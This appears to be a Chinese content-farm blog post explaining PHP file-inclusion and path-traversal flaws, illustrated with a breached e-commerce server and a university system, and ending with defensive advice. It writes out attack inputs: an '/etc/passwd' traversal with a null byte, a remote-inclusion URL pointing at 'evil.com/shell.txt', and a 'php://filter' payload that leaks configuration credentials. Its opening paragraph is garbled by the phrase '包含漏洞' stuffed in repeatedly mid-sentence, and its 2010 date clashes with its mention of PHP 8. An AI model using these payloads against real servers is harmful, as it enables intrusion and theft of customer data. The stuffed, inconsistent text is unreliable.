知识

包含漏洞

时间:2010-12-5 17:23:32  作者:探索   来源:知识  查看:  评论:0
内容摘要:去年十月,一个做电商的朋友给我打电话,声音发颤。他的服务器被人拖走了一个订单表,里面有三万多条客户记录,姓名、电话、地址全在。我问他怎么被进的,他说也不知道,安全日志里翻来覆去只看到同一个IP在凌晨三

去年十月,包含漏洞一个做电商的包含漏洞朋友给我打电话,声音发颤。包含漏洞他的包含漏洞服务器被人拖走了一个订单表,里面有三万多条客户记录,包含漏洞姓名、包含漏洞电话、包含漏洞地址全在。包含漏洞我问他怎么被进的包含漏洞,他说也不知道,包含漏洞安全日志里翻来覆去只看到同一个IP在凌晨三点疯狂请求一个叫 export.php 的包含漏洞文件,参数里带了一串 ../../../../etc/passwd。包含漏洞

这就是包含漏洞典型的路径遍历漏洞。代码里大概写了类似 include($_GET['page']) 的包含漏洞东西,用户传什么文件,包含漏洞服务器就乖乖加载什么文件。攻击者不需要密码,不需要爆破,只需要把参数改成自己想看的那个路径,系统就把底裤亮出来了。

很多人觉得“包含漏洞”离自己很远,那是PHP程序员才操心的事。但我说个数据:CVE漏洞库里,文件包含类漏洞从2000年至今累计超过两千条,影响面从WordPress插件到企业级OA系统,从论坛程序到路由器固件。它不是某个语言的问题,是“信任用户输入”这个坏习惯在代码里的具体投影。

原理其实不复杂。PHP里 include、require 这些函数,本意是让开发者把公共代码抽出来复用,比如页头、数据库连接、权限校验。问题出在参数拼接上。如果写成 include('pages/' . $_GET['page'] . '.php'),攻击者传 page=../../../../etc/passwd%00,在PHP 5.3之前的版本里,空字节会截断后面的 .php,服务器就真的去读系统密码文件了。后来的版本修补了空字节截断,但路径遍历本身没死,只是换了个姿势继续存在。

更危险的是远程文件包含。如果 allow_url_include 开着,攻击者传一个 page=http://evil.com/shell.txt,服务器会去下载这个文件并当作PHP代码执行。等于把自家大门的钥匙复制一把挂在网上,谁捡到谁进来。

我见过一个真实案例。某高校的旧版选课系统,URL里有个参数叫 module,正常值是 student 或者 course。安全测试的人把它改成 php://filter/convert.base64-encode/resource=config,页面直接吐出一串base64。解码后是数据库账号密码。整个过程不到十秒,浏览器地址栏改一下就行。这种漏洞的可怕之处在于:利用门槛极低,不需要会写代码,不需要懂汇编,会改URL就能干。

防御的思路其实很清晰,但很多项目就是不做。第一,别把用户输入直接拼进包含路径。白名单是最稳的,只允许 home、about、contact 这几个值,其他一律拒绝。第二,关掉 allow_url_include,这个配置默认是关的,但总有人图方便打开。第三,用 basename() 剥掉路径分隔符,或者用 realpath() 检查最终路径是否在预期目录内。第四,PHP 8之后 include 对路径的处理更严格了,但升级框架和语言版本这件事,很多团队一拖就是好几年。

说到底,包含漏洞的本质是代码在“信任”一个不该信任的东西。用户传来的数据,永远只应该被当作数据,而不是被当作代码或者路径的一部分。这个原则说起来简单,但写代码的时候一赶工,就忘了。

那个做电商的朋友后来花了三天重写文件上传和导出模块,把参数全部改成ID映射。他跟我说了一句话:“以前觉得安全是运维的事,现在才知道,写代码的人偷的懒,最后都是运维和老板在还。”

最近更新
热门排行
copyright © 2026 powered by 力不从心网   sitemap